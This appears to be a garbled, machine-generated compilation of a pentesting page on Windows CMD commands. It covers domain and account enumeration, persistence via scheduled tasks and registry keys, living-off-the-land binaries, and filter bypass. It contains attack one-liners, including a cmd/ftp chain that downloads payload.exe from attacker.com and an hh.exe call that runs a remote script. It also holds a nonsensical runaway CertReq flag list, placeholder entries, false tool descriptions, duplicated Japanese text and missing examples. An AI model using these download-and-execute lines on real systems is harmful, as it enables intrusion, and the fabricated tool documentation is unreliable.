Mounted disks refer to the additional storage devices that are attached and accessible to a computer system. These disks can be physical hard drives, solid-state drives (SSDs), or virtual disks. When a disk is mounted, it becomes part of the file system hierarchy and can be accessed and used by the operating system and applications.
In Windows, you can view the mounted disks using the `mountvol` command. This command displays a list of all the mounted volumes along with their corresponding volume names and paths. To execute the `mountvol` command, open a Command Prompt window and type:
The output will show the volume names and paths of the mounted disks. You can also use the `mountvol` command with specific parameters to perform actions such as creating or deleting mount points.
It is important for pentesters to be aware of the mounted disks on a system as they may contain valuable information or provide potential attack vectors. By understanding the mounted disks, pentesters can identify possible targets for further investigation or exploitation.
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list #Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN>#List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily compromised, leading to unauthorized access and potential data breaches. Here are some common elements of a password policy:
- **Password Length**: Specify the minimum and maximum length of passwords.
- **Complexity**: Require the use of a combination of uppercase and lowercase letters, numbers, and special characters.
- **Expiration**: Set a time limit for password validity, after which users must change their passwords.
- **History**: Prevent users from reusing their previous passwords.
- **Lockout**: Implement a mechanism that locks user accounts after a certain number of failed login attempts.
- **Two-Factor Authentication**: Encourage or enforce the use of an additional authentication factor, such as a token or biometric verification.
- **Education**: Provide guidelines and training to users on creating strong passwords and protecting their accounts.
By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect sensitive information from unauthorized access.
Persistence is a crucial aspect of maintaining access to a compromised system. By establishing persistence, an attacker ensures that their access to the system remains even after a reboot or other system changes. In this section, we will explore various techniques for achieving persistence with user accounts.
#### Scheduled Tasks
Scheduled tasks are a powerful feature in Windows that allow users to automate the execution of programs or scripts at specific times or events. Attackers can leverage scheduled tasks to maintain persistence on a compromised system.
To create a scheduled task, you can use the `schtasks` command. For example, the following command creates a task named "EvilTask" that runs a malicious script every day at 12:00 PM:
To view existing scheduled tasks, you can use the `schtasks /query` command. If you have administrative privileges, you can also modify or delete scheduled tasks using the `schtasks /change` and `schtasks /delete` commands, respectively.
#### Registry Run Keys
The Windows Registry contains several "Run" keys that specify programs or scripts to execute when a user logs in. By adding entries to these keys, an attacker can achieve persistence by executing malicious code every time a user logs in.
The following Registry keys are commonly used for persistence:
To add an entry to a Run key, you can use the `reg add` command. For example, the following command adds an entry named "EvilScript" that executes a malicious script when a user logs in:
To remove an entry from a Run key, you can use the `reg delete` command. For example, the following command removes the "EvilScript" entry from the current user's Run key:
The `Userinit` registry key specifies the programs or scripts to execute when a user logs in. By modifying this key, an attacker can achieve persistence by executing malicious code during the user login process.
The `Userinit` key is located at `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`. The default value of this key is `C:\Windows\System32\Userinit.exe`.
To modify the `Userinit` key, you can use the `reg add` command. For example, the following command modifies the `Userinit` key to execute a malicious script:
To remove the modification and restore the default value of the `Userinit` key, you can use the `reg delete` command. For example, the following command removes the modified `Userinit` key:
Persistence with user accounts is a critical technique for maintaining access to a compromised system. By leveraging scheduled tasks and modifying registry keys, an attacker can ensure their continued presence on the system. It is important for defenders to be aware of these techniques and implement appropriate security measures to detect and prevent unauthorized persistence.
A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs.
Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow computers to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices.
In Windows, you can view and manage network interfaces using the `ipconfig` command. This command displays information about all network interfaces on the system, including their IP addresses, subnet masks, and default gateways.
You can also use the `netsh` command to manage network interfaces. This command provides more advanced options for configuring and troubleshooting network settings.
Understanding network interfaces is essential for network troubleshooting and configuring network settings. By knowing how to view and manage network interfaces, you can effectively diagnose and resolve network connectivity issues.
CertReq.exe is a command-line tool in Windows that is used for certificate enrollment and management. It allows you to create and submit certificate requests, retrieve and install certificates, and perform various operations related to certificates.
- **-Accept** - Accepts a pending certificate request.
- **-Retrieve** - Retrieves a certificate or certificate chain.
- **-Submit** - Submits a certificate request to a certification authority (CA).
- **-Sign** - Signs a certificate request.
- **-PolicyServer** - Specifies the policy server URL.
- **-PolicyServerCACert** - Specifies the policy server CA certificate file.
- **-PolicyServerCAChain** - Specifies the policy server CA chain file.
- **-PolicyServerCAHash** - Specifies the policy server CA hash.
- **-PolicyServerDelete** - Deletes a policy server.
- **-PolicyServerAdd** - Adds a policy server.
- **-PolicyServerSet** - Sets the policy server.
- **-PolicyServerGet** - Gets the policy server.
- **-PolicyServerEnum** - Enumerates the policy servers.
- **-PolicyServerGetDC** - Gets the policy server domain controller.
- **-PolicyServerSetDC** - Sets the policy server domain controller.
- **-PolicyServerGetDCCert** - Gets the policy server domain controller certificate.
- **-PolicyServerSetDCCert** - Sets the policy server domain controller certificate.
- **-PolicyServerGetDCCertChain** - Gets the policy server domain controller certificate chain.
- **-PolicyServerSetDCCertChain** - Sets the policy server domain controller certificate chain.
- **-PolicyServerGetDCCertHash** - Gets the policy server domain controller certificate hash.
- **-PolicyServerSetDCCertHash** - Sets the policy server domain controller certificate hash.
- **-PolicyServerGetDCCertStore** - Gets the policy server domain controller certificate store.
- **-PolicyServerSetDCCertStore** - Sets the policy server domain controller certificate store.
- **-PolicyServerGetDCCertStoreLocation** - Gets the policy server domain controller certificate store location.
- **-PolicyServerSetDCCertStoreLocation** - Sets the policy server domain controller certificate store location.
- **-PolicyServerGetDCCertStoreName** - Gets the policy server domain controller certificate store name.
- **-PolicyServerSetDCCertStoreName** - Sets the policy server domain controller certificate store name.
- **-PolicyServerGetDCCertStoreType** - Gets the policy server domain controller certificate store type.
- **-PolicyServerSetDCCertStoreType** - Sets the policy server domain controller certificate store type.
- **-PolicyServerGetDCCertStoreFlags** - Gets the policy server domain controller certificate store flags.
- **-PolicyServerSetDCCertStoreFlags** - Sets the policy server domain controller certificate store flags.
- **-PolicyServerGetDCCertStoreRoot** - Gets the policy server domain controller certificate store root.
- **-PolicyServerSetDCCertStoreRoot** - Sets the policy server domain controller certificate store root.
- **-PolicyServerGetDCCertStoreRootLocation** - Gets the policy server domain controller certificate store root location.
- **-PolicyServerSetDCCertStoreRootLocation** - Sets the policy server domain controller certificate store root location.
- **-PolicyServerGetDCCertStoreRootName** - Gets the policy server domain controller certificate store root name.
- **-PolicyServerSetDCCertStoreRootName** - Sets the policy server domain controller certificate store root name.
- **-PolicyServerGetDCCertStoreRootType** - Gets the policy server domain controller certificate store root type.
- **-PolicyServerSetDCCertStoreRootType** - Sets the policy server domain controller certificate store root type.
- **-PolicyServerGetDCCertStoreRootFlags** - Gets the policy server domain controller certificate store root flags.
- **-PolicyServerSetDCCertStoreRootFlags** - Sets the policy server domain controller certificate store root flags.
- **-PolicyServerGetDCCertStoreRootHash** - Gets the policy server domain controller certificate store root hash.
- **-PolicyServerSetDCCertStoreRootHash** - Sets the policy server domain controller certificate store root hash.
- **-PolicyServerGetDCCertStoreRootStore** - Gets the policy server domain controller certificate store root store.
- **-PolicyServerSetDCCertStoreRootStore** - Sets the policy server domain controller certificate store root store.
- **-PolicyServerGetDCCertStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store location.
- **-PolicyServerSetDCCertStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store location.
- **-PolicyServerGetDCCertStoreRootStoreName** - Gets the policy server domain controller certificate store root store name.
- **-PolicyServerSetDCCertStoreRootStoreName** - Sets the policy server domain controller certificate store root store name.
- **-PolicyServerGetDCCertStoreRootStoreType** - Gets the policy server domain controller certificate store root store type.
- **-PolicyServerSetDCCertStoreRootStoreType** - Sets the policy server domain controller certificate store root store type.
- **-PolicyServerGetDCCertStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store.
- **-PolicyServerSetDCCertStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store root store.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store root store.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store root store location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store root store location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store root store name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store root store name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store root store type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store root store type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store root store root store.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store root store root store.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store root store root store location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store root store root store location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store root store root store name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store root store root store name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store root store root store type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store root store root store type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store root store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store root store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store
This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in various tasks such as information gathering, privilege escalation, lateral movement, and more.
## CMD Commands
### 1. `desktopimgdownldr.exe`
- **Description**: This command is used to download an image from a remote server to the local machine's desktop.
- **Description**: This command does something else.
- **Syntax**: `command3 <parameter>`
- **Example**: `command3 parameter`
## Conclusion
These are just a few examples of basic CMD commands that can be useful for pentesters. It is important to note that these commands should be used responsibly and ethically, and only on systems that you have proper authorization to test.
```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
```
# Diantz.exe
Diantz.exe is a command-line tool used for compressing and decompressing files in the Microsoft Cabinet (CAB) format. It is commonly used in Windows environments for packaging and distributing software.
## Usage
To compress files using Diantz.exe, use the following command:
```
diantz.exe -c <source_file><destination_file>
```
To decompress files, use the following command:
```
diantz.exe -d <source_file><destination_folder>
```
## Examples
Compressing a file:
```
diantz.exe -c myfile.txt myfile.cab
```
Decompressing a file:
```
diantz.exe -d myfile.cab C:\destination_folder
```
## Additional Options
Diantz.exe also provides additional options for advanced usage. Some of the commonly used options include:
-`-p`: Specifies the compression level (0-9, with 0 being no compression and 9 being maximum compression).
-`-r`: Recursively compresses or decompresses files in a folder.
-`-s`: Displays the status of the compression or decompression process.
For more information about Diantz.exe and its options, refer to the official Microsoft documentation.
`ftp.exe` is a command-line utility in Windows that allows users to transfer files to and from a remote computer using the File Transfer Protocol (FTP). It is a built-in tool that comes with the Windows operating system.
## Syntax
The basic syntax for using `ftp.exe` is as follows:
Here are some commonly used options with `ftp.exe`:
-`-v`: Enables verbose mode, which displays detailed information about the FTP connection and file transfers.
-`-d`: Enables debugging mode, which provides additional information for troubleshooting purposes.
-`-i`: Disables interactive mode, which suppresses prompts for user confirmation during file transfers.
-`-n`: Suppresses the auto-login feature, which allows users to manually log in to the FTP server.
-`-g`: Disables filename globbing, which prevents wildcard characters from being expanded in file names.
-`-s:filename`: Specifies a text file containing FTP commands to be executed automatically.
-`-a`: Uses ASCII mode for file transfers, which is suitable for transferring text-based files.
-`-w:windowsize`: Specifies the size of the receive window for data transfers.
-`-A`: Enables anonymous FTP login, allowing users to log in without providing a username or password.
## Examples
Here are some examples of how to use `ftp.exe`:
- To connect to an FTP server:
```plaintext
ftp example.com
```
- To upload a file to an FTP server:
```plaintext
put filename
```
- To download a file from an FTP server:
```plaintext
get filename
```
- To navigate to a specific directory on the FTP server:
```plaintext
cd directory
```
- To list the files and directories on the FTP server:
```plaintext
ls
```
- To disconnect from the FTP server:
```plaintext
bye
```
## Conclusion
`ftp.exe` is a powerful command-line tool for transferring files to and from remote FTP servers. By understanding its syntax and options, you can effectively use it for various file transfer operations.
```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
`hh.exe` is a Windows executable that is used to launch the Windows Help and Support Center. It is commonly found in the `C:\Windows` directory.
## Usage
To launch the Help and Support Center using `hh.exe`, open a command prompt and run the following command:
```
hh.exe helpctr
```
This will open the Help and Support Center window, where you can search for help topics and access various Windows support resources.
## Command-Line Options
`hh.exe` supports several command-line options that can be used to customize its behavior. Here are some commonly used options:
-`/mapid <id>`: Opens the Help and Support Center to the specified help topic ID.
-`/url <url>`: Opens the specified URL in the Help and Support Center.
-`/find <text>`: Searches for the specified text in the Help and Support Center.
-`/index <file>`: Opens the specified index file in the Help and Support Center.
For example, to open the Help and Support Center to a specific help topic ID, you can use the following command:
```
hh.exe helpctr /mapid 123456
```
## Summary
`hh.exe` is a useful tool for launching the Windows Help and Support Center from the command line. It provides various command-line options that allow you to customize its behavior and access specific help topics or URLs.
```
HH.exe http://some.url/script.ps1
```
# Ieexec.exe
`ieexec.exe` is a command-line utility that allows you to execute Internet Explorer (IE) processes with specific privileges. It is commonly used by pentesters and hackers to bypass security measures and gain unauthorized access to systems.
**Note:** The use of `ieexec.exe` for unauthorized access or malicious purposes is illegal and unethical. This information is provided for educational purposes only.
`Replace.exe` is a command-line tool in Windows that allows you to replace files in a specified directory. It can be useful for various purposes, including replacing system files or modifying configurations.
This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in gathering information, performing reconnaissance, and executing various tasks on a Windows system.
## CMD Commands
### 1. Tasklist
The `tasklist` command displays a list of all running processes on the system. This can be useful for identifying any suspicious or malicious processes.
The `netstat` command displays active network connections, listening ports, and related information. It can help in identifying any unauthorized network connections or open ports.
The `ipconfig` command displays the IP configuration of all network interfaces on the system. It can be used to gather information about the network settings of the target system.
The `systeminfo` command displays detailed information about the system, including the operating system version, hardware configuration, and installed software. This can be useful for identifying vulnerabilities or outdated software.
These basic CMD commands can be helpful for pentesters during their engagements. However, it is important to note that these commands should be used responsibly and ethically, following all applicable laws and regulations.
As with any executable file, it is important to ensure that `powerpnt.exe` is obtained from a trusted source and is not tampered with. Running executables from untrusted sources can pose security risks to your system.
Additionally, it is recommended to keep your PowerPoint software up to date with the latest security patches to protect against potential vulnerabilities.
Squirrel.exe is a command-line tool that allows you to interact with the Squirrel framework. It is commonly used for package management and deployment of applications.
## Usage
To use Squirrel.exe, open a command prompt and navigate to the directory where the executable is located. Then, you can run various commands to perform different tasks.
Squirrel.exe also provides other commands for managing applications, such as `list`, `releasify`, and `clean`. You can use the `--help` option with any command to get more information about its usage.
## Conclusion
Squirrel.exe is a powerful command-line tool for managing and deploying applications using the Squirrel framework. By familiarizing yourself with its commands, you can streamline the installation, update, and uninstallation processes of your applications.
`Update.exe` is a common executable file found in Windows operating systems. It is often used to install software updates or patches. However, it can also be used by hackers as a disguise for malicious activities.
## Malicious Use
Hackers may create a malicious `Update.exe` file to trick users into running it. Once executed, the file can perform various malicious actions, such as:
- Installing malware or spyware on the system
- Modifying system settings or configurations
- Stealing sensitive information, such as passwords or credit card details
- Creating backdoors or remote access points for future attacks
## Prevention
To protect your system from malicious `Update.exe` files, follow these preventive measures:
2.**Keep your system up to date**: Regularly update your operating system and software to ensure you have the latest security patches and bug fixes.
3.**Use reliable security software**: Install and regularly update a reputable antivirus or antimalware program to detect and block malicious files.
4.**Exercise caution**: Be cautious when downloading and running executable files, especially if they are received from unknown or suspicious sources.
By following these preventive measures, you can reduce the risk of falling victim to malicious `Update.exe` files and protect your system from potential attacks.
`wsl.exe` is a command-line tool in Windows that allows you to run Linux distributions on Windows. It stands for Windows Subsystem for Linux. This tool provides a compatibility layer for running Linux binary executables natively on Windows 10 and Windows Server 2019.
To use `wsl.exe`, open a command prompt or PowerShell window and type `wsl`. This will launch the default Linux distribution installed on your system. If you have multiple distributions installed, you can specify the distribution name as an argument, for example: `wsl -d Ubuntu`.
You can also use `wsl.exe` to run Linux commands directly from the Windows command prompt or PowerShell. For example, to run the `ls` command in the default Linux distribution, you can type `wsl ls`.
`wsl.exe` provides a convenient way for pentesters to leverage Linux tools and utilities while working on a Windows system. It allows you to access the power and flexibility of Linux without the need for a separate virtual machine or dual-boot setup.
In some cases, when attempting to inject malicious code or commands into a system, certain characters may be blacklisted or filtered out by the target application. However, there are several techniques that can be used to bypass these character blacklists and successfully execute the desired code.
One common technique is to use alternative representations of the blacklisted characters. For example, if the character 'a' is blacklisted, it can be represented using its ASCII code or Unicode representation. Similarly, other characters can be represented using HTML entities or URL encoding.
一般的なテクニックの1つは、ブラックリスト化された文字の代替表現を使用することです。たとえば、文字 'a' がブラックリスト化されている場合、ASCII コードや Unicode 表現を使用して表すことができます。同様に、他の文字は HTML エンティティや URL エンコーディングを使用して表現することができます。
Another technique is to use different character encodings. By using encodings such as UTF-8, UTF-16, or Base64, it is possible to represent the blacklisted characters in a different format that may bypass the filtering mechanism.
It is also worth noting that some applications may only blacklist certain characters in specific contexts. Therefore, it is important to understand the context in which the blacklisted characters are being used and find alternative ways to achieve the desired outcome.
To call CMD from C code, you can use the `system()` function provided by the C standard library. This function allows you to execute a command in the command prompt.
Here is an example of how to call CMD from C code: